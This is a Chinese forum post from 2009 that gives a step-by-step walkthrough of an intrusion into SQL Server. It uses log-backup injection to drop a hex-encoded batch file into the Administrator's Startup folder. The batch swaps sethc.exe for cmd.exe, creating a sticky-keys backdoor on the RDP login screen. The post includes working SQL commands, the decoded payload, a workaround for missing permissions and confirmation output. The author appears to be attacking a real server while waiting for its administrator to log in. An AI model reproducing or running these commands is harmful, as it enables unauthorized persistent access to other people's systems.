|
发表于 2009-12-10 16:05:39
|显示全部楼层
/*利用Url或者sql查询器Log备份一句话或Bat*/
alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202
F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65
7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577
696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325
C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--
分析下语句
第一句
alter database [master] set RECOVERY FULL--
master 是数据库名字,一般db权限不行 换库名吧
create table cmd (a image)--
这句的意思建立一个表,表里面一个列,列的数据类型是image
backup log [master] to disk = 'c:\cmd1' with init--
这句就是备份库master里面的log到c:\cmd1
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612
073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257
7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255
C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655
C73657468632E657865202F790D0A)--
这句就是在刚才建立的表cmd 列a 里面插入数据
130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207
3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577
696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225
5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865
5C73657468632E657865202F790D0A
16进制的批处理
处理原文是
@Echo off
@cd %windir%
@del dir /s /a sethc.exe
@copy %windir%\system32\cmd.exe %windir%\system32\sethc.exe /y
@copy %windir%\system32\cmd.exe %windir%\system32\dllcache\sethc.exe /y
backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
这句就是备份库master的log到启动项start.bat
里面有批处理
drop table cmd--
删除表
然后等管理登陆3389启动噢
我遇到的问题有
执行第二句的时间
create table cmd (a image)--
master提示拒绝没有权限
不能没创建表的权限就放弃吧
再想想折,我有他db权限.找个空白弄下就ok不是
在库test表test里面找到一个没数据的
这里用到俩命令
删除列
ALTER TABLE 表名 DROP COLUMN 列名
添加列
ALTER TABLE 表名 ADD 列名 VARCHAR(20)
执行了删除test里面的所有列
然后执行
ALTER TABLE test ADD a
然后用到的命令是
alter table
语句
网上找了几个实例
引用
--try
create table a
(
name nvarchar(45),
price decimal (19,4),
charge varchar(10)
)
1、nvarchar类型的长度都变为60
alter table a
alter column name nvarchar(60)
2、decimail类型的默认值变为0,小数点后保留2位数
--若默认值已存在先删除后添加 delete constraint 约束名
alter table a
add constraint df_a_price default 0 for price
alter table a
alter column price decimal(19,2)
3、将所以varchar列示类型变为Nvarchar
alter table a
alter column charge nvarchar(60)
我在这里执行的是
alter table [test].[dbo].[test]
alter column a image
意思是改变库test表test列a的数据类型是image
然后稍微改下命令
alter database [test] set RECOVERY FULL--
backup log [test] to disk = 'c:\cmd1' with init--
insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7
3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642
E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257
7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6
C63616368655C73657468632E657865202F790D0A)--
backup log [test] to disk = 'C:\Documents and Settings\administrator\「开始」菜单\程序\启动\start.bat'--
执行成功返回
引用
已处理 2 页,这些页属于数据库 'test' 的文件 'test_Log'(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 2 页,花费了 0.125 秒(0.081 MB/秒)。
(所影响的行数为 1 行)
已处理 1 页,这些页属于数据库 'test' 的文件 'test_Log'(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 1 页,花费了 0.095 秒(0.037 MB/秒)。
ok
看到这里就成功了 然后看下
exec master..xp_dirtree 'C:\Documents and Settings\administrator\「开始」菜单\程序\启动\',1,1
然后返回
成功了
哈哈等管理吧
这里补充的我比较笨蛋.以上是我在本机测试好久的,备份有的库有时间批量命令写不进去的
那样是没有用的
这样才是成功的
大牛绕过呵呵,刚开始的时间想过放弃,不过一步一步摸索'不懂的查gg,嘿,真搞定了.
搞这个不容易,他这个1433只针对一台服务器开放,我费了好大事才搞定那个,然后朋友写了个dll(端口映射,系统服务,比较方面,上3389很容易发现).
这才copy出表,本地能测试. |
|